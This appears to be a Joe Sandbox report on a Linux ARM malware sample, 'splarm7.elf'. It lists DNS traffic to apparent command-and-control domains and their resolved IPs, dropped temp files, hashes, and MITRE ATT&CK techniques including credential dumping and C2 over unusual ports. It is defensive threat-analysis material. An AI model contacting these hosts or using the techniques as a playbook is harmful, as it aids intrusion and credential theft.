Dec 24, 2024 04:26:32.477529049 CET	192.168.2.13	194.36.144.87	0xbf4e	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:33.981837988 CET	192.168.2.13	194.36.144.87	0x5c44	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:35.471715927 CET	192.168.2.13	81.169.136.222	0x3dc6	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:47.958381891 CET	192.168.2.13	202.61.197.122	0xa3c3	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:00.439651966 CET	192.168.2.13	81.169.136.222	0x2535	Standard query (0)	serisbot.geek. [malformed]	256	260	false
Dec 24, 2024 04:27:12.918070078 CET	192.168.2.13	152.53.15.127	0x6bf3	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:25.402153969 CET	192.168.2.13	202.61.197.122	0xdae4	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:37.197357893 CET	192.168.2.13	185.181.61.24	0x2db	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:49.691735983 CET	192.168.2.13	152.53.15.127	0xa95	Standard query (0)	serisbot.geek. [malformed]	256	309	false
Dec 24, 2024 04:28:02.168628931 CET	192.168.2.13	194.36.144.87	0x1adb	Standard query (0)	serisbot.geek. [malformed]	256	322	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:26:06.843272924 CET	202.61.197.122	192.168.2.13	0xabf9	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:06.843272924 CET	202.61.197.122	192.168.2.13	0xabf9	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:06.843272924 CET	202.61.197.122	192.168.2.13	0xabf9	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:08.345639944 CET	185.181.61.24	192.168.2.13	0x12aa	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:08.345639944 CET	185.181.61.24	192.168.2.13	0x12aa	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:08.345639944 CET	185.181.61.24	192.168.2.13	0x12aa	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:32.723290920 CET	194.36.144.87	192.168.2.13	0xbf4e	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:32.723290920 CET	194.36.144.87	192.168.2.13	0xbf4e	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:32.723290920 CET	194.36.144.87	192.168.2.13	0xbf4e	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:34.229968071 CET	194.36.144.87	192.168.2.13	0x5c44	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:34.229968071 CET	194.36.144.87	192.168.2.13	0x5c44	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:34.229968071 CET	194.36.144.87	192.168.2.13	0x5c44	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:35.709091902 CET	81.169.136.222	192.168.2.13	0x3dc6	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:48.207556009 CET	202.61.197.122	192.168.2.13	0xa3c3	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:48.207556009 CET	202.61.197.122	192.168.2.13	0xa3c3	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:48.207556009 CET	202.61.197.122	192.168.2.13	0xa3c3	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:13.165839911 CET	152.53.15.127	192.168.2.13	0x6bf3	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:13.165839911 CET	152.53.15.127	192.168.2.13	0x6bf3	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:13.165839911 CET	152.53.15.127	192.168.2.13	0x6bf3	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:25.648545027 CET	202.61.197.122	192.168.2.13	0xdae4	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:25.648545027 CET	202.61.197.122	192.168.2.13	0xdae4	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:25.648545027 CET	202.61.197.122	192.168.2.13	0xdae4	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:37.458055973 CET	185.181.61.24	192.168.2.13	0x2db	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:37.458055973 CET	185.181.61.24	192.168.2.13	0x2db	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:37.458055973 CET	185.181.61.24	192.168.2.13	0x2db	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:27:49.937264919 CET	152.53.15.127	192.168.2.13	0xa95	Format error (1)	serisbot.geek. [malformed]	none	none	256	309	false
Dec 24, 2024 04:28:02.411494017 CET	194.36.144.87	192.168.2.13	0x1adb	Format error (1)	serisbot.geek. [malformed]	none	none	256	322	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0hJzDg (deleted)

/tmp/qemu-open.1kJAmf (deleted)

/tmp/qemu-open.3QTI3c (deleted)

/tmp/qemu-open.3SiScg (deleted)

/tmp/qemu-open.4RrXce (deleted)

/tmp/qemu-open.5RiUMg (deleted)

/tmp/qemu-open.7AU3Gf (deleted)

/tmp/qemu-open.7twa5c (deleted)

/tmp/qemu-open.88pMJe (deleted)

/tmp/qemu-open.8N2WCd (deleted)

/tmp/qemu-open.9ICDdh (deleted)

/tmp/qemu-open.9tPTAe (deleted)

/tmp/qemu-open.AVFiVf (deleted)

/tmp/qemu-open.Bf1iMe (deleted)

/tmp/qemu-open.EIizud (deleted)

/tmp/qemu-open.EWkK5g (deleted)

/tmp/qemu-open.IfzCYf (deleted)

/tmp/qemu-open.ImmYKf (deleted)

/tmp/qemu-open.JMZ3Ch (deleted)

/tmp/qemu-open.KlbJ3f (deleted)

/tmp/qemu-open.LHmfQd (deleted)

/tmp/qemu-open.LV2WCe (deleted)

/tmp/qemu-open.LkT6vg (deleted)

/tmp/qemu-open.MhuAqe (deleted)

/tmp/qemu-open.Mhzqae (deleted)

/tmp/qemu-open.MqQl8c (deleted)

/tmp/qemu-open.N6h3ef (deleted)

/tmp/qemu-open.NHvnwh (deleted)

/tmp/qemu-open.NlsQCf (deleted)

/tmp/qemu-open.O6d2hf (deleted)

/tmp/qemu-open.OEUNOf (deleted)

/tmp/qemu-open.Q2wsag (deleted)

Linux Analysis Report
splarm7.elf

Start time (UTC):	03:26:04
Start date (UTC):	24/12/2024
Path:	/tmp/splarm7.elf
Arguments:	/tmp/splarm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	03:26:05
Start date (UTC):	24/12/2024
Path:	/tmp/splarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	03:26:06
Start date (UTC):	24/12/2024
Path:	/tmp/splarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre